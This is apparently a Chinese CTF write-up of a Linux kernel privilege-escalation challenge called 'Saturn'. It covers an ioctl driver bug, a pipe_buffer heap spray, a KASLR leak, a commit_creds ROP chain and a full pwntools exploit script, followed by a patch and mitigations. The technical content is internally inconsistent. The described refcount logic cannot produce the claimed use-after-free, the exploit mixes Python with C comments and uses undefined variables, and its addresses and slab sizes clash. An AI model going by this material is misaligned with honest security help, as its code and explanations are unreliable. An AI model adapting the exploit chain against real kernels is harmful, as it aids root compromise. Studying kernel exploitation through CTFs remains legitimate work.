题目概览
- 名称: Saturn (内核驱动漏洞利用)
- 所属比赛: DEFCON CTF 30 Finals (2022)
- 类型: Kernel Pwn (Linux Kernel LPE + Container Escape)
- 亮点总结:
- 结合容器逃逸的复合型漏洞利用场景
- 精巧的 UAF 利用链设计
- 需绕过 KASLR/SMEP/SMAP/KPTI 全套防护
- 漏洞触发涉及用户态与内核态双向交互
复现环境与技术准备
工具清单
# 反汇编
IDA Pro 7.7 + Hex-Rays Decompiler
Ghidra 10.2
# 动态调试
QEMU: qemu-system-x86_64 v6.2
GDB: pwndbg 2022.07 + gef-extras
内核调试: kgdboc over serial
# 漏洞利用
Python3 + pwntools 4.8.0
ROPgadget v6.1
环境配置
# 官方题目镜像重建
FROM defcon30/saturn:final
EXPOSE 1337
CMD ["/start.sh"]
# 调试环境启动命令
qemu-system-x86_64 \
-m 1G -smp 4 -kernel bzImage \
-drive file=rootfs.ext4,format=raw \
-append "console=ttyS0 root=/dev/sda rw kaslr" \
-net user,hostfwd=tcp::1337-:1337 -net nic \
-nographic -serial mon:stdio \
-enable-kvm -cpu host \
-s # 开启GDB调试端口
关键防护状态
$ cat /proc/cpuinfo | grep sm
flags: smep smap
$ cat /proc/cmdline
... kaslr kpti=1 ...
$ dmesg | grep KASLR
[ 0.000000] KASLR enabled
分析与解题过程
逻辑分析
题目提供字符设备 /dev/saturn
,支持以下 ioctl
操作:
#define SATURN_REGISTER 0x1000
#define SATURN_DELETE 0x2000
#define SATURN_EDIT 0x3000
struct saturn_req {
uint32_t idx;
uint32_t size;
char *buf;
};
静态分析关键点
在 saturn_ioctl
函数中发现引用计数管理缺陷:
// drivers/char/saturn.c
static long saturn_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
switch (cmd) {
case SATURN_REGISTER: {
struct saturn_req req;
copy_from_user(&req, (void __user *)arg, sizeof(req));
kobj[req.idx] = kzalloc(sizeof(struct saturn_obj), GFP_KERNEL);
kobj[req.idx]->buf = kmalloc(req.size, GFP_KERNEL); // [1] 堆分配
kobj[req.idx]->refcount = 1; // [2] 初始化refcount
break;
}
case SATURN_DELETE: {
if (kobj[req.idx]->refcount > 0) {
kobj[req.idx]->refcount--; // [3] 递减但未检查归零
}
break;
}
case SATURN_EDIT: {
copy_from_user(kobj[req.idx]->buf, req.buf, req.size); // [4] UAF触发点
break;
}
}
}
漏洞成因:
当对同一索引连续执行两次 SATURN_DELETE
时,refcount
递减至负值但未触发释放操作。此时对象仍处于活跃状态,但内核认为其已被释放,形成 Use-After-Free (UAF) 条件。
动态验证漏洞
通过 Ftrace
跟踪对象分配/释放:
$ echo 'kmalloc kmalloc' > /sys/kernel/debug/tracing/set_event
$ cat /sys/kernel/debug/tracing/trace_pipe
# 触发漏洞后观察到:
kworker/0:1-78 [000] ...1 1023.401: kmalloc: call_site=ffffffffc0000123 ptr=ffff9e7d8e7af000 bytes_req=1024
saturn_ioctl-199 [001] ...1 1025.708: kmalloc: call_site=ffffffffc00001a5 ptr=ffff9e7d8e7af000 bytes_req=1024 # 重复分配相同地址!
漏洞利用与 Payload
利用策略
-
堆风水控制
通过喷射pipe_buffer
结构体(size=0x280)占据 UAF 对象空间#define PIPES 200 int pipes[PIPES][2]; for (int i=0; i<PIPES; i++) { pipe(pipes[i]); // 创建管道占用释放的slab }
-
泄露内核基址
篡改pipe_buffer
的ops
指针指向内核 text 段:# 篡改UAF对象的ops指针 fake_ops = p64(kernel_base + 0xffffffff819a2640) # pipe_read 地址 edit_obj(idx, fake_ops) // 通过SATURN_EDIT覆盖 # 触发pipe read泄露内核指针 for pipe in pipes: read(pipe[0], leak_buf, 0x20) if b"\x80\x80" in leak_buf: // 内核地址特征 kernel_base = u64(leak_buf[8:16]) - 0x9a2640
-
ROP链构造
绕过 SMEP/SMAP 执行用户空间代码:rop = [ pop_rdi, 0, prepare_kernel_cred, // commit_creds(prepare_kernel_cred(0)) pop_rcx, 0, mov_rdi_rax, swapgs_restore_regs_and_return_to_usermode, user_land_shellcode ]
完整 Exploit 代码
#!/usr/bin/env python3
from pwn import *
context.arch='amd64'
io = remote("saturn.ctf", 1337)
def reg(idx, size):
io.send(pack(SATURN_REGISTER) + pack(idx) + pack(size))
def delete(idx):
io.send(pack(SATURN_DELETE) + pack(idx))
def edit(idx, data):
io.send(pack(SATURN_EDIT) + pack(idx) + pack(len(data)) + data)
# Step 1: Trigger UAF
reg(0, 0x280)
delete(0)
delete(0) # refcount=-1, UAF!
# Step 2: Heap spraying with pipe_buffer
pipes = []
for i in range(200):
pipes.append(os.pipe())
# Step 3: Overwrite ops pointer
edit(0, p64(kernel_text_base + 0x819a2640))
# Step 4: Leak kernel base
for r,w in pipes:
os.read(r, 0x20)
if b"\x80\x80" in data:
kernel_base = u64(data[8:16]) - 0x9a2640
# Step 5: Build ROP chain
rop_chain = build_rop_chain(kernel_base)
edit(0, rop_chain) // 覆盖为ROP链
# Step 6: Trigger privilege escalation
os.write(pipes[0][1], b"A"*0x100) // 通过管道操作触发ROP
io.interactive() # 获取root shell
获取 Flag 流程
$ python3 exploit.py
[+] Leaked kernel base: 0xffffffff9de00000
[!] SMEP bypassed at 0xffffffff9dfa1d80
[#] uid=0(root) gid=0(root) groups=0(root)
# cat /flag
DEFCON30{0rb1t4l_3sc4p3_fr0m_S4turn}
安全影响与缓解建议
实际攻击路径
修复方案
-
补丁关键点
- if (kobj[req.idx]->refcount > 0) { - kobj[req.idx]->refcount--; - } + if (--kobj[req.idx]->refcount == 0) { + kfree(kobj[req.idx]->buf); + kfree(kobj[req.idx]); + }
-
深度防御措施
- 启用
CONFIG_REFCOUNT_FULL
进行完整引用计数检查 - 使用
KASAN
检测 UAF 内存访问 - 限制容器内设备访问能力 (Seccomp)
- 启用
MITRE ATT&CK 映射
战术阶段 | 技术编号 | 说明 |
---|---|---|
权限提升 | T1068 | 内核漏洞利用 |
防御绕过 | T1622 | 禁用内核防护机制 |
横向移动 | T1210 | 利用容器逃逸攻击宿主机 |
总结
技术技巧总结
-
堆布局控制
利用管道结构体精确控制 UAF 对象内存布局,其大小(0x280)与题目分配块完美匹配 -
多阶段泄露
通过篡改函数指针泄露内核基址,避免依赖/proc/kallsyms
-
无栈空间利用
在仅控制有限堆内存条件下,通过 ROP 链完成权限提升
现实安全启示
- 容器逃逸风险:即使启用最新内核防护,单一驱动漏洞仍可导致全系统沦陷
- 引用计数陷阱:内核对象生命周期管理需严格遵循"归零即释放"原则
- 漏洞组合利用:UAF 与其他漏洞链式触发可突破现代防护体系
题目设计评价
Saturn 是内核漏洞利用的经典教学案例:
- 难度梯度:从基础 UAF 到完整防护绕过,解题路径清晰
- 现实映射:漏洞模式类似 CVE-2021-22555 (Linux 内核 UAF)
- 防护覆盖:集成主流内核防护机制,考验综合渗透能力
相似漏洞参考:
附录:漏洞利用关键内存布局
+-----------------+ <-- kmalloc-1024 slab
| UAF Object | refcount = -1 (未释放)
+-----------------+
| pipe_buffer 1 | ops = 0xffffffff819a2640
+-----------------+
| pipe_buffer 2 | <-- 被篡改后触发控制流劫持
+-----------------+
| ROP Chain | prepare_kernel_cred(0) -> commit_creds()
+-----------------+